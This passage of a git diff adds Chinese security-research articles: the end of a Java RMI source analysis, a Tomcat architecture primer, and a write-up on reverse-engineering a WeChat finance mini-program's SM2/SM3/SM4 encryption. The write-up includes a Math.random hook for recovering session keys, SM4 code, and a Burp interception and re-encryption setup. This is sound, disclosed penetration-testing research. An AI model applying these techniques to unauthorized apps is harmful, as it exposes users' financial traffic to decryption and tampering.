} + + } + } catch (RuntimeException var45) { + if (var7 == null || ((StreamRemoteCall)var7).getServerException() != var45) { + var8 = false; + } + + throw var45; + } catch (RemoteException var46) { + var8 = false; + throw var46; + } catch (Error var47) { + var8 = false; + throw var47; + } finally { + if (!var9) { + if (clientRefLog.isLoggable(Log.BRIEF)) { + clientRefLog.log(Log.BRIEF, "free connection (reuse = " + var8 + ")"); + } + + this.ref.getChannel().free(var6, var8); + } + + } + + return var13; +} +``` + +总的来说,UnicastRef 的 invoke 方法实现了一个远程方法调用(RMI)的核心逻辑。 + +它通过 `this.ref.getChannel().newConnection()` 创建一个新的连接,使用 `StreamRemoteCall` 创建一个新的远程调用对象,将方法参数序列化并发送给远程对象,执行远程方法调用后,根据方法的返回类型反序列化返回值,并返回给调用者。 + +其中,反序列化在 UnicastRef 的 unmarshalValue 方法中实现: + +``` +protected static Object unmarshalValue(Class var0, ObjectInput var1) throws IOException, ClassNotFoundException { + if (var0.isPrimitive()) { + if (var0 == Integer.TYPE) { + return var1.readInt(); + } else if (var0 == Boolean.TYPE) { + return var1.readBoolean(); + } else if (var0 == Byte.TYPE) { + return var1.readByte(); + } else if (var0 == Character.TYPE) { + return var1.readChar(); + } else if (var0 == Short.TYPE) { + return var1.readShort(); + } else if (var0 == Long.TYPE) { + return var1.readLong(); + } else if (var0 == Float.TYPE) { + return var1.readFloat(); + } else if (var0 == Double.TYPE) { + return var1.readDouble(); + } else { + throw new Error("Unrecognized primitive type: " + var0); + } + } else { + return var1.readObject(); + } +} +``` + +#### 调用栈总结 + +``` +RemoteObjectInvocationHandler#invoke(Object, Method, Object[]) +RemoteObjectInvocationHandler#invokeRemoteMethod(Object, Method, Object[]) +UnicastRef#invoke(Remote, Method, Object[], long) +UnicastRef#unmarshalValue(Class, ObjectInput) # 反序列化 +``` + +### 注册中心创建 - LocateRegistry#createRegistry + +LocateRegistry 的 createRegistry 方法: + +![](https://changeyourway.github.io/images/image-20240613110247306.png) + +这里实际是调用 RegistryImpl 的构造方法 new 了一个 RegistryImpl 对象。 + +RegistryImpl 的构造方法: + +![](https://changeyourway.github.io/images/image-20240613110830043.png) + +这边新建了一个 LiveRef 对象,将这个 LiveRef 对象作为参数又新建了 UnicastServerRef 对象,最后调用 setup 进行配置。 + +跟进 RegistryImpl 的 setup 方法: + +![](https://changeyourway.github.io/images/image-20240613111357223.png) + +这边依旧是调用了 UnicastServerRef 的 exportObject 方法来导出远程对象,只不过这次 export 的是 RegistryImpl 这个对象。 + +跟进 UnicastServerRef 的 exportObject 方法: + +![](https://changeyourway.github.io/images/image-20240614091049086.png) + +再进入 Util 的 createProxy 方法: + +![](https://changeyourway.github.io/images/image-20240614085655284.png) + +这里在创建代理对象之前其实有一个判断: + +``` +var2 || !ignoreStubClasses && stubClassExists(var3) +``` + +Java 中 && 运算符的优先级高于 || 运算符,即 && 会先计算,因此这个判断等同于: + +``` +var2 || (!ignoreStubClasses && stubClassExists(var3)) +``` + +所以大概意思就是如果 stub 存在且不忽视,或者强制使用,那么直接创建 Stub 。 + +具体来看 Util 的 stubClassExists 方法: + +![](https://changeyourway.github.io/images/image-20240614091618479.png) + +这里其实就是在判断传入的 var0 是否在本地有一个存根类,即 var0 的名称后面加上 “\_Stub” 的类。梳理整个逻辑,会发现 var0 的值是 + +getRemoteClass(RegistryImpl.getClass()),最终,var0.getName() 获取到的值是 sun.rmi.registry.RegistryImpl : + +![](https://changeyourway.github.io/images/image-20240614093409294.png) + +这里返回 true ,就说明存在 RegistryImpl\_Stub 这个类,搜一下其实也搜得到: + +![](https://changeyourway.github.io/images/image-20240614093815544.png) ![](https://changeyourway.github.io/images/image-20240614093836838.png) + +RegistryImpl\_Stub 实现了 bind/list/lookup/rebind/unbind 等 Registry 定义的方法,其中用一些序列化方法来实现: + +![](https://changeyourway.github.io/images/image-20240614102729976.png) + +好的,回到先前的判断 `var2 || !ignoreStubClasses && stubClassExists(var3)` ,这个判断的结果应当为真,并执行 createStub 方法: + +![](https://changeyourway.github.io/images/image-20240614103417153.png) + +createStub 方法的执行结果其实就是返回了 RegistryImpl\_Stub 对象: + +![](https://changeyourway.github.io/images/image-20240614103812744.png) + +那么现在 Util.createProxy 分析完了,回到 UnicastServerRef 的 exportObject 方法,接下来将会调用 setSkeleton 方法: + +![](https://changeyourway.github.io/images/image-20240614104133467.png) + +UnicastServerRef 的 setSkeleton 方法判断如果 withoutSkeletons 不存在这个 key ,则调用 Util.createSkeleton 创建 Skeleton : + +![](https://changeyourway.github.io/images/image-20240614105112083.png) + +Util 的 createSkeleton 方法: + +![](https://changeyourway.github.io/images/image-20240614105442446.png) + +这里的参数 var0 是一个 RegistryImpl 对象,所以 var1 依旧是 getRemoteClass(RegistryImpl.getClass()) ,这个方法最终返回一个 RegistryImpl\_Skel 对象。 + +RegistryImpl\_Skel 对象方法不多,主要方法是 dispatch : + +![](https://changeyourway.github.io/images/image-20240614111625118.png) + +其中主要的逻辑就是根据不同的情况调用不同的方法,比如 rebind/unbind 之类。 + +#### 调用栈总结 + +``` +LocateRegistry#createRegistry(int) +RegistryImpl#RegistryImpl(int) +RegistryImpl#setup(UnicastServerRef) +UnicastServerRef#exportObject(Remote, Object, boolean) + -> Util#createProxy(Class, RemoteRef, boolean) + Util#createStub(Class, RemoteRef) # 返回 RegistryImpl_Stub 对象 + -> UnicastServerRef#setSkeleton(Remote) + Util#createSkeleton(Remote) # 返回 RegistryImpl_Skel 对象 +``` + +### 服务端获取 Registry 代理对象 + +rebind 或者 bind 都可以,这里用 bind 和 rebind 的区别在于:bind 方法用于将一个远程对象绑定到指定的名称上,如果该名称已经被绑定过,则会抛出 AlreadyBoundException 异常。rebind 方法用于将一个远程对象绑定到指定的名称上。如果该名称已经被绑定过,则会重新绑定,即覆盖旧的绑定,而不会抛出异常。 + +#### 情况一:Server 和 Registry 在同一端 + +当 Server 和 Registry 在同一端时,Server 端通过本地调用获取 Registry 对象。此时,Server 端获取到的 Registry 对象是 RegistryImpl 类的实例,这是 RMI 的默认实现类。服务器大多数情况下与注册中心 Registry 在同一端。 + +这里的 registry 就是 RegistryImpl 对象: + +![](https://changeyourway.github.io/images/image-20240628161323912.png) + +于是跟进 RegistryImpl 的 rebind 方法: + +![](https://changeyourway.github.io/images/image-20240628162405443.png) + +这里直接将远程对象放入了 RegistryImpl 内部的 HashTable 集合中。 + +#### 情况二:Server 和 Registry 在不同端 + +当 Server 和 Registry 在不同端时,Server 端通过网络获取 Registry 对象。此时,Server 端获取到的 Registry 对象是 RegistryImpl\_Stub 类的实例。这个类是 RMI 生成的代理类,代表远程的注册表对象。 + +下面给出在此情况下服务器获取 Registry 对象的代码: + +``` +String registryHost = "remote-registry-host"; // 远程 Registry 主机名或 IP +int registryPort = 1099; // 远程 Registry 端口号 + +// 在远程 Registry 上绑定服务 +Registry registry = LocateRegistry.getRegistry(registryHost, registryPort); +registry.rebind("Hello", obj); +``` + +可以看到此时获取的是 RegistryImpl\_Stub 对象: + +![](https://changeyourway.github.io/images/image-20240628172346590.png) + +跟进 RegistryImpl\_Stub 的 rebind 方法: + +![](https://changeyourway.github.io/images/image-20240704133850976.png) + +调试起来可以看到:这里的 super.ref 是 UnicastRef 对象,接下来会接连调用 UnicastRef 的 newCall 方法、invoke 方法和 done 方法。 + +UnicastRef 的 newCall 方法返回一个 RemoteCall 对象,用来给 invoke 方法提供参数。 + +跟进 UnicastRef 的 newCall 方法: + +![](https://changeyourway.github.io/images/image-20240704135020575.png) + +可以看到,这里的操作是建立通信,然后 new 了一个 StreamRemoteCall 对象并将其返回,且其中还调用了 UnicastRef 的 marshalCustomCallData 方法。 + +但奇怪的是 marshalCustomCallData 方法并没有进行任何操作: + +![](https://changeyourway.github.io/images/image-20240704140246926.png) + +接下来看 UnicastRef 的 invoke 方法: + +![](https://changeyourway.github.io/images/image-20240704134416503.png) + +执行的是 RemoteCall 的实现类 StreamRemoteCall 的 executeCall 方法。 + +总的来说,就是服务端通过调用 RegistryImpl\_Stub 的 rebind 方法,将参数序列化发送到 Registry 端,来完成将服务接口绑定到注册表的操作。 + +#### Registry 端处理逻辑 + +当 Server 和 Registry 在不同端时,在 Registry 端,由 sun.rmi.transport.tcp.TCPTransport#handleMessages 来处理请求,调用 serviceCall 方法处理: + +![](https://changeyourway.github.io/images/image-20240705113118978.png) + +这里实际调用的是 Transport 的 serviceCall 方法,跟进 Transport 的 serviceCall 方法: + +![](https://changeyourway.github.io/images/image-20240705113259512.png) + +disp 获取到的是 UnicastServerRef 对象,这里会调用 UnicastServerRef 的 dispatch 方法,跟进 UnicastServerRef 的 dispatch 方法: + +![](https://changeyourway.github.io/images/image-20240705113446620.png) + +dispatch 方法又调用 UnicastServerRef 自身的 oldDispatch 方法,跟进 UnicastServerRef 的 oldDispatch 方法: + +![](https://changeyourway.github.io/images/image-20240705113637011.png) + +最终调用 RegistryImpl\_Skel 的 dispatch 方法,来看看 RegistryImpl\_Skel 的 dispatch 方法: + +![](https://changeyourway.github.io/images/image-20240705114000367.png) + +RegistryImpl\_Skel 的 dispatch 方法根据流中写入的不同的操作类型分发给不同的方法处理,例如 0 代表着 bind 方法,则从流中读取对应的内容,反序列化,然后调用 RegistryImpl 的 bind 方法进行绑定。 + +我用的是 rebind ,对应的是 3 : + +![](https://changeyourway.github.io/images/image-20240705114905739.png) + +以上就是 Registry 端的处理逻辑。 + +### Client 端服务调用 + +客户端获取 Registry 对象的方法与服务端远程获取 Registry 的方法一样: + +``` +Registry registry = LocateRegistry.getRegistry("localhost", 1099); +``` + +客户端获取到的也是 RegistryImpl\_Stub 对象: + +![](https://changeyourway.github.io/images/image-20240708135731555.png) + +客户端调用 RegistryImpl\_Stub 的 lookup 方法,跟进 RegistryImpl\_Stub 的 lookup 方法: + +![](https://changeyourway.github.io/images/image-20240708140409880.png) + +与 rebind 方法相同,调用 UnicastRef 的 newCall、invoke、done 方法建立通信,将参数序列化发送到 Registry 端,再将返回结果反序列化。 + +同样来关注 Registry 端的处理逻辑,与 Server 端调用 rebind 方法时 Registry 端的处理逻辑相同,最终都是调用 RegistryImpl\_Skel 的 dispatch 方法来处理。 + +lookup 方法对应的是 RegistryImpl\_Skel 的 dispatch 方法中的 2 号处理逻辑: + +![](https://changeyourway.github.io/images/image-20240708141025817.png) + +最后客户端通过 lookup 方法获取到服务的代理对象: + +![](https://changeyourway.github.io/images/image-20240708141810878.png) + +代理对象的任意方法被调用,都会触发 RemoteObjectInvocationHandler 的 invoke 方法。前面分析过了, RemoteObjectInvocationHandler 的 invoke 方法最终其实是调用 RemoteRef 的实现类 UnicastRef 的 invoke 方法。UnicastRef 中保存了服务端的地址和端口信息,这些信息是在服务端导出远程对象时设置的。因此 Client 端直接与 Server 端进行通信。 + +Server 端由 UnicastServerRef 的 dispatch 方法来处理客户端的请求,然后将结果序列化给 Client 端,Client 端拿到结果反序列化,完成整个调用的过程。 + +### 总结 + +这里引用素十八师傅的原图: + +![](https://changeyourway.github.io/images/image-20240708141810879.png) + +## 参考文章 + +[RMI](https://javasec.org/javase/RMI/) + +[RMI 远程调用](https://www.liaoxuefeng.com/wiki/1252599548343744/1323711850348577) + +[RMI 原理浅析以及调用流程](https://blog.csdn.net/Shadow_Light/article/details/105587008) + +[素十八 - Java RMI 攻击由浅入深](https://su18.org/post/rmi-attack/) diff --git a/books/基础篇 - Tomcat 架构.md b/books/基础篇 - Tomcat 架构.md new file mode 100644 index 0000000..705463a --- /dev/null +++ b/books/基础篇 - Tomcat 架构.md @@ -0,0 +1,108 @@ +# 基础篇 - Tomcat 架构 +> 2024-09-26 +> 来源:https://changeyourway.github.io/2024/09/26/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-Tomcat%E6%9E%B6%E6%9E%84/ + +## Tomcat 介绍 + +Tomcat 是 Apache 软件基金会开发的一个开源 Java Servlet 容器,用于运行 Java Web 应用程序。它实现了多个 Java EE 规范,如 Servlet、JSP(Java Server Pages)和 WebSocket 等,主要用于处理动态网页请求。作为一个轻量级的应用服务器,Tomcat 常用于开发和测试环境中,同时也适用于生产环境中的中小型应用。 + +## Tomcat 架构 + +在 Tomcat Server 中,核心架构主要由三个组件组成:**Service**、**Connector** 和 **Container**。它们共同构成了 Tomcat 的请求处理和应用管理机制。 + +![](https://changeyourway.github.io/images/Tomcat-2.png) + +以下是对这三个组件的介绍: + +### Service (服务) + +- **功能**:`Service` 是 Tomcat 中用于组织和管理多个 `Connector` 和一个 `Container` 的组件。它负责协调客户端连接和容器之间的关系。 +- **结构**:一个 `Service` 包含一个 `Container`(通常是 `Engine`)和多个 `Connector`。`Service` 的目的是在多个客户端请求和后端的 Web 应用之间建立桥梁。 +- **工作机制**:当请求通过 `Connector` 接入时,`Service` 会负责将这些请求分发给 `Container` 处理。`Service` 也是多个连接器共享一个 `Container` 的桥梁。 + +### Connector (连接器) + +- **功能**:`Connector` 负责处理客户端和 Tomcat 服务器之间的通信。它将客户端的请求转换成 Tomcat 可以理解的请求对象,并将响应返回给客户端。 +- **协议支持**:Connector 支持多种协议,如 HTTP、HTTPS 和 AJP 。常见的连接器包括: + - **HTTP Connector**:用于处理标准的 HTTP 请求。 + - **AJP Connector**:用于在 Tomcat 和其他 Web 服务器(如 Apache HTTP Server)之间使用 AJP 协议进行通信。 +- **工作机制**:`Connector` 接受客户端的网络连接请求,然后将这些请求传递给 `Service` 中的 `Container` 进行进一步处理。 + +### Container (容器) + +- **功能**:`Container` 是 Tomcat 中用于处理请求的核心组件。它负责解析和处理通过 `Connector` 接收到的请求,并生成相应的响应。 +- **层级结构**:Container 包含四种子容器(Engine、Host、Context 和 Wrapper): + - **Engine**:最顶层的容器,表示整个 Servlet 引擎。它负责处理通过 `Connector` 接收到的所有请求。一个 Tomcat 实例通常只包含一个 `Engine`,它在接受请求后将其分发到相应的 `Host`。 + - **Host**:表示一个虚拟主机。一个 `Host` 代表一个能够承载多个应用的虚拟主机,通常与一个域名相对应。它允许 Tomcat 在同一台服务器上支持多个域名(虚拟主机)。 + - **Context**:代表单个 Web 应用,管理该应用的生命周期。所有的 Servlet、过滤器、监听器等都运行在 `Context` 中。 + - **Wrapper**:包装一个具体的 Servlet,处理最终的请求。 + +![](https://changeyourway.github.io/images/20220217164552.png) + +- **工作机制**:当 `Container` 接收到 `Connector` 传递的请求时,它会逐级解析请求,最终将请求交给正确的 `Servlet` 进行处理。 + +## Tomcat Context + +Tomcat 中有三种 Context :ServletContext、StandardContext、ApplicationContext + +### ServletContext + +- 接口:`ServletContext` 是一个接口,提供了访问和管理 web 应用程序共享资源的能力。它为所有 servlets 提供全局的视图。 +- 获取方式:通过 `request.getServletContext()` 可以获取到 `ApplicationContextFacade` 对象,它是 `ServletContext` 的一个实现类的包装器,用于保护实际的 `ServletContext` 实现不被直接操作。 +- 共享性:`ServletContext` 是在 web 容器启动时为每个 web 应用创建的,它在应用的生命周期内有效,并且在同一应用的所有 servlets 之间共享。因此,它代表当前 web 应用,可以访问应用的资源和设置。 + +### ApplicationContext + +- 实现类:`ApplicationContext` 是 `ServletContext` 接口的一个具体实现类。在 Tomcat 中,`ApplicationContext` 被封装在 `ApplicationContextFacade` 中,主要用于提供对 `ServletContext` 的安全访问。 +- 功能:`ApplicationContext` 实现了 `ServletContext` 中的方法,因此,它可以管理 web 应用的全局资源、配置初始化参数以及共享属性。 +- 作用:实际上,`ApplicationContext` 是对 `StandardContext` 的进一步封装,`ApplicationContext` 中的方法会调用 `StandardContext` 中的对应方法,形成对 web 应用的实际管理。 + +### StandardContext + +- 核心实现:`StandardContext` 是 Tomcat 中 `org.apache.catalina.Context` 接口的默认实现类。它表示一个完整的 web 应用,并且是 Tomcat 用于管理应用生命周期、配置、加载和运行的实际 `Context` 实现。 +- 功能与作用: + - 负责管理整个 web 应用的生命周期(启动、停止、重载等)。 + - 管理应用的所有 servlets、filters、listeners 等组件。 + - 提供对应用的资源路径、JNDI 资源、会话管理等功能的支持。 +- 关系:`StandardContext` 是 Tomcat 内部的核心组件,负责实现 `Context` 接口的所有功能,并为 `ApplicationContext` 提供实际的支持。`ApplicationContext` 调用的很多方法最终都会映射到 `StandardContext` 的实现中。 + +## Tomcat 管道机制 + +**Tomcat 管道机制(Pipeline Mechanism)** 是 Tomcat 内部的请求处理模型之一,它提供了一种灵活的、可扩展的处理请求和响应的方式。管道机制允许在请求和响应处理过程中插入多个可配置的处理器(Valve),这些处理器按顺序执行,形成一个请求处理的链条。 + +### Pipeline 和 Valve 的关系 + +在 Tomcat 中,**Pipeline(管道)** 是容器(如 `Engine`、`Host`、`Context` 等)的一个组件,用来组织多个 **Valve(阀门)**。Valve 是一个个的请求处理器,而 Pipeline 负责管理这些 Valve 的顺序调用。 + +Tomcat 中,管道就像一个请求处理的通道,而 Valve 是放在管道中的处理站。每个请求进入 Tomcat 时,会沿着这个管道依次经过各个 Valve,直到最终处理完成。 + +- **Pipeline**:是一个容器,它维护一系列的 Valve,形成一个处理链。 +- **Valve**:是管道中的节点,执行特定的请求处理逻辑。 + +### Pipeline 结构 + +Tomcat 的 Pipeline 由以下两部分组成: + +- **基本 Valve**(Basic Valve):每个管道都必须有一个基本 Valve,它是管道中最后一个被调用的 Valve,负责实际的请求处理(如转发请求给某个特定的 Servlet)。如果没有其他的自定义 Valve 进行拦截或修改,最终的请求会由基本 Valve 处理。 +- **普通 Valve**:可以在基本 Valve 之前插入多个普通的 Valve,这些 Valve 按照配置的顺序依次执行。 + +![](https://changeyourway.github.io/images/20220218104446-17273329294125.png) + +### 工作原理 + +当请求进入 Tomcat 时,经过容器(如 `Engine`、`Host`、`Context` 等)的 Pipeline,Pipeline 中的 Valve 会按顺序执行,处理请求并决定是否传递给下一个 Valve。如果某个 Valve 拦截了请求并处理完成,可能会终止后续 Valve 的调用。 + +**执行过程**: + +1. 请求进入某个容器的 Pipeline。 +2. Pipeline 从第一个 Valve 开始,依次调用每个 Valve 的 `invoke()` 方法。 +3. 每个 Valve 处理请求并决定是否传递给下一个 Valve。如果需要传递,调用 `getNext().invoke(request, response)`。 +4. 如果没有下一个 Valve,最终由 Basic Valve 处理请求。 + +Tomcat 每个层级的容器(Engine、Host、Context、Wrapper),都有基础的 Valve 实现(StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve),他们同时维护了一个 Pipeline 实例(StandardPipeline),也就是说,我们可以在任何层级的容器上针对请求处理进行扩展。这四个 Valve 的基础实现都继承了 ValveBase。这个类帮我们实现了生命接口及 MBean 接口,使我们只需专注阀门的逻辑处理即可。 + +**参考文章** + +[Tomcat 架构与 Context 分析](https://myzxcg.com/2021/10/Tomcat-%E6%9E%B6%E6%9E%84%E4%B8%8EContext%E5%88%86%E6%9E%90/#%E4%B8%89%E7%A7%8Dcontext%E7%9A%84%E8%81%94%E7%B3%BB%E4%B8%8E%E5%8C%BA%E5%88%AB) + +[Java 安全学习 —— Tomcat 架构浅析](https://goodapple.top/archives/1359) diff --git a/books/微信小程序加密通信协议逆向分析实录——SM2_SM3_SM4 国密算法套件破解.md b/books/微信小程序加密通信协议逆向分析实录——SM2_SM3_SM4 国密算法套件破解.md new file mode 100644 index 0000000..769b581 --- /dev/null +++ b/books/微信小程序加密通信协议逆向分析实录——SM2_SM3_SM4 国密算法套件破解.md @@ -0,0 +1,325 @@ +# 微信小程序加密通信协议逆向分析实录——SM2/SM3/SM4 国密算法套件破解 +> 来源:https://xz.aliyun.com/news/92572 + +声明:本文仅用于技术研究与安全交流,所有内容已做脱敏处理。涉及资产已获得授权测试,请勿用于非法用途。 + + +## 一、概述 + + +在移动应用安全评估中,微信小程序因其庞大的用户基数和敏感的业务场景(支付、身份认证、金融交易),一直是安全研究的热点。与普通 App 不同,小程序代码经过 wxapkg 打包、混淆、虚拟化等多重保护,加之国密算法(SM2/SM3/SM4)的广泛应用,使得渗透测试流量分析难度大幅提升。 + +本文完整记录了对某金融类微信小程序 HTTPS 通信中 SM2/SM3/SM4 国密算法套件的逆向分析过程,从源码反编译、加密协议还原、密钥恢复机制设计,到最终实现 Burp Suite 透明加解密 Hook 的全链路技术细节。 + +关键词:微信小程序安全、国密算法、SM2/SM3/SM4、Burp Suite、中间人攻击、WebSocket Hook + + +## 二、前期侦察与源码反编译 + + + +### 2.1 小程序包提取 + + +使用微信小程序逆向工具对目标小程序的 wxapkg 包进行提取和反编译,获得主包 `__APP__.wxapkg` 以及若干分包(`_pages_inspection_`、`_pages_toPay_`、`_pages_marketing_` 等)。反编译后得到 `app-service.js`(约 1.6MB)及多个子包 JS 文件。 + + +![image.png](https://i.im.ge/QMKm3AD/p2m-9d9446174e.png) + + + + +![image-20260722110308818.png](https://i.im.ge/QMKmxaY/p2m-793680a8c5.png) + + + + +### 2.2 webpack 模块系统分析 + + +反编译产物采用 webpack 打包,通过 `wx.webpackJsonp.push([[chunkId], {moduleId: function(require, exports, module){...}}])` 机制注册模块。使用 CDP(Chrome DevTools Protocol)通过 `wx.webpackJsonp` 可枚举所有 chunk 及模块 ID: + +●Chunk 3 → 模块 10(请求加密编排函数) + +●Chunk 1 → 模块 63(SM2/SM3/SM4 封装层) + +● Chunk 1 → 模块 144(`{sm2: n(834), sm3: n(838), sm4: n(839)}`) +●Chunk 1 → 模块 834(SM2 国密公钥加密实现) + +●Chunk 1 → 模块 838(SM3 哈希与 HMAC 实现) + +●Chunk 1 → 模块 839(SM4 国密对称加密实现) + + +### 2.3 加密协议逆向 + + +通过分析模块 63 的导出函数,还原出完整的加密通信协议: + + +```javascript +// 模块 63 关键导出函数 +function i(t, e) { return n.sm2.doEncrypt(t, e, 0) } // SM2 加密 +function o(t) { return Object(n.sm3)(t) } // SM3 哈希 +function s(t, e, r) { return n.sm4.encrypt(t, e, {mode:"cbc", iv:r}) } // SM4-CBC 加密 +function a(t, e, r) { return n.sm4.decrypt(t, e, {mode:"cbc", iv:r}) } // SM4-CBC 解密 +function u() { // ShareKey 生成:32个随机十六进制字符 + for(var t="", e="0123456789abcdef", r=e.length, n=0; n<32; n++) + t += e.charAt(Math.floor(Math.random()*r)); + return t; +} +``` + +协议流程如下: + + +``` +客户端生成 shareKey (32 hex chars via Math.random) + ↓ +SM2 公钥加密 shareKey → secretKey (带 04 前缀,258 hex chars) + ↓ +SM4-CBC 加密业务 JSON 体 → data (hex) + ↓ +SM3("data=&secretKey=&shareKey=") → smSign + ↓ +POST {secretKey, data, smSign} → 服务端 + ↓ +服务端 SM2 私钥解密 secretKey → 恢复 shareKey + ↓ +服务端 SM4-CBC 解密 data → 业务请求体 + ↓ +服务端 SM3 验签 → 处理业务 + ↓ +服务端 SM4-CBC 加密响应体 → retData + ↓ +服务端 SM3("retData=&shareKey=") → retSign + ↓ +响应 {retData, retSign} → 客户端 +``` + +![image-20260722111302636.png](https://imglink.cc/cdn/ExnHJ8xnO-.png) + + + + +## 三、核心技术挑战与突破 + + + +### 3.1 ShareKey 恢复——Math.random 劫持 + + +这是整个方案最关键的切入点。shareKey 由 32 次 `Math.random()` 调用生成,每次取 `"0123456789abcdef"[floor(random*16)]`。由于 `Math.random()` 在 V8 引擎中并非密码学安全随机数(使用 XorShift128+ 算法),只要捕获到足够多的连续 `Math.random()` 输出,就能精确推算出 shareKey。 + +实现方案:通过 MCP(MiniProgram Control Protocol)向小程序 appservice 上下文注入 hook: + + +```javascript +var origRandom = Math.random; +Math.random = function() { + var val = origRandom(); + state.randomLog.push(val); // 记录所有 random() 返回值 + return val; +}; +``` + +在请求到达时,从日志中提取最后 32 个 random 值,重构 shareKey 候选值。由于 `Math.random()` 生成双精度浮点数(53 位精度),需将其映射回 0-15 的整数索引: + +● `Math.floor(Math.random() * 16)` → 直接取 `floor(val * 16)` 即可得到 0-15 的索引 +性能优化:初始版本遍历 `randomLog` 全部 5000 条记录,耗时长(约 36s+)。优化为从末尾向前搜索最后 50 个候选,时间降至 <1s。 + + +### 3.2 SM4-CBC 加解密 + + +从模块 839 和模块 63 提取出 SM4 参数: + +●模式:CBC + +● IV:从本地存储 `SM_ENC_DATA` 中读取 +●密钥:shareKey(32 hex chars = 16 bytes) + +●填充:PKCS#7(gmssl 内部自动处理) + +使用 Python gmssl 库实现: + + +```python +def sm4_cbc_encrypt(key_hex, iv_hex, plaintext): + key = bytes.fromhex(key_hex) + iv = bytes.fromhex(iv_hex) + crypt = CryptSM4() + crypt.set_key(key, SM4_ENCRYPT) + ct = crypt.crypt_cbc(iv, plaintext.encode("utf-8")) + return ct.hex().lower() +``` + +验证通过:对同一明文加密两次得到相同密文,确认 SM4-ECB 模式下加密确定性。 + + +### 3.3 SM2 公钥加密——最曲折的环节 + + +模块 834 的 `doEncrypt(plaintext, publicKey, mode)` 函数签名: + + +```javascript +doEncrypt: function(t, e, n=1) { + t = s.hexToArray(s.utf8ToHex(t)); // shareKey → UTF-8 bytes → hex → byte array + e = s.getGlobalCurve().decodePointHex(e); // 解析公钥 + // C1 = k*G (随机密钥对) + // (x2, y2) = k*P (共享点) + // C3 = SM3(x2 || M || y2) + // KDF: SM3(x2 || y2 || counter) + // C2 = M ⊕ KDF + return n===0 ? C1 + C2 + C3 : C1 + C3 + C2; +} +``` + +参数含义: + +● `plaintext`:shareKey 字符串的 UTF-8 编码(非 hex 解码!) +● `publicKey`:带 "04" 前缀的 130 hex chars 公钥 +● `mode=0`:C1C2C3 格式 + +#### 3.3.1 坑点 1:公钥前缀处理 + + +Python gmssl 的 `CryptSM2.__init__` 中使用 `public_key.lstrip("04")` 去除 "04" 前缀。但 `lstrip("04")` 将 "04" 视为字符集合而非前缀,对于以 `0AE4...` 开头的公钥会错误地剥离 `0`: + + +```python +"040AE4C7...".lstrip("04") → "AE4C7..." # 错误!丢失了 0 +"040AE4C7..."[2:] → "0AE4C7..." # 正确 +``` + +当公钥 X 坐标以 `7` 开头时两者结果恰好一致,掩盖了此 bug。 + + +#### 3.3.2 坑点 2:SM3 签名字符串大小写 + + +数据密文 `data` 的 hex 大小写直接影响 SM3 签名结果。原始客户端输出小写 hex,而 Python `bytes.hex()` 默认大写,导致 `SM3("data=&secretKey=&shareKey=")` 不匹配。修复:统一使用小写 hex。 + + +#### 3.3.3 坑点 3:C3 计算中的 KDF 输入 + + +gmssl 的 `sm3_kdf` 接收 `xy.encode("utf8")` 后内部做 `bytes.fromhex(xy_hex_str)` 得到 64 字节的 x2||y2 原始字节,再拼接计数器进行 SM3 迭代。JavaScript 端也采用完全相同的逻辑,二者 KDF 输出一致。 + +最终确认双方 SM2 算法实现等价,但服务端兼容性问题导致必须绕过 SM2 重新加密环节,改用在请求体未变更时复用原始 secretKey 的策略。 + + +### 3.4 MCP 注入与 WebSocket 通信 + + +通过微信开发者工具的 CDP 接口建立 WebSocket 连接,在 `appservice` 上下文(context\_id=4)中执行 JavaScript 注入代码。 + +MCP SSE 端点:`http://127.0.0.1:4554/sse` + +注入时机:在 `wx.request` 被调用前完成 `Math.random` 和 `wx.request` 的双重 Hook。 + + +## 四、Galaxy Hook 架构设计 + + + +### 4.1 整体流程分析清楚后,直接开始ai赋能编写脚本 + + +``` +小程序 → wx.request → Galaxy 拦截 → hookRequestToBurp(解密展示) + ↓ + Burp 中可修改解密后内容 + ↓ + hookRequestToServer(重新加密) + ↓ + 真实服务端 + ↓ + 响应 → hookResponseToBurp(解密展示) + ↓ + hookResponseToClient(重新加密) + ↓ + 小程序客户端 + + +``` + + + +![image.png](https://i.im.ge/QMKmc1C/p2m-540570b632.png) + + + + +![image.png](https://i.im.ge/QMKmYH4/p2m-110d6b89c1.png) + + + + +### 4.2 关键决策点 + + +请求加密: + +●优先尝试完整的重新加密(SM4 + SM2 + SM3) + +●当请求体未变化时,复用原始 secretKey 避免 SM2 服务端兼容问题 + +响应解密:使用从请求恢复的 shareKey 直接解密 `retData` + +响应重加密:SM4-CBC + SM3 重新计算 `retSign` + + +### 4.3 数据流标记系统 + + +使用 `_jmWx7e16` 标记字段防止递归 Hook: + + +```python +MARKER = "_jmWx7e16" +marked = { + MARKER: {"app": "...", "direction": "request", "shareKey": key_hex}, + "_decrypted": decrypted_obj, # 解密后的业务 JSON + "_original": body_text, # 原始密文字符串 +} +``` + +## 五、最终成果验证 + + +成功实现 Burp Suite 中透明展示解密后的明文请求/响应,并可修改后自动重新加密发送。核心指标: + + +| 指标 | 数值 | +| --- | --- | +| shareKey 恢复成功率 | ~100%(候选 #1) | +| shareKey 恢复耗时 | <2s | +| 请求解密正确率 | 100% | +| 响应解密正确率 | 100% | +| 响应重加密客户端验签通过率 | 100% | + + + +![](D:\desktop\待发布的文章\assets\image-20260723090124121.png) + +![image-20260723090124121.png](https://i.im.ge/QMKmgwq/p2m-d7330404ea.png) + + + + +## 六、经验总结 + + +1 Math.random 不安全:使用 `Math.random()` 生成密钥是致命设计缺陷。应使用 `crypto.getRandomValues()` 或 `wx.getRandomValues()` 等密码学安全随机数生成器。 +2 国密算法实现差异:不同语言/库的 SM2 实现在公钥格式、C1C2C3/C1C3C2 模式、ASN.1 编码等细节上存在大量差异,跨语言实现时需逐字节验证。 +3 CDP + MCP 是利器:微信开发者工具的 CDP 接口为小程序安全评估提供了巨大的便利,WebSocket MCP SSE 端点可动态注入任意 JavaScript。 +4 多层防御思维:仅加密传输层远远不够,密钥管理、随机数质量、服务端校验、频率限制等环节缺一不可。 +附录:\[本次使用到的工具如下,感谢如下开源作者\] + +[https://github.com/Spade-sec/First](https://github.com/Spade-sec/First) + +[https://github.com/outlaws-bai/Galaxy](https://github.com/outlaws-bai/Galaxy) + +[https://github.com/TideSec/TscanPlus](https://github.com/TideSec/TscanPlus) diff --git a/books/新瓶旧酒:从注册到管理员的 NocoDB 6 个安全风险.md b/books/新瓶旧酒:从注册到管理员的 NocoDB 6 个安全风险.md new file mode 100644 index 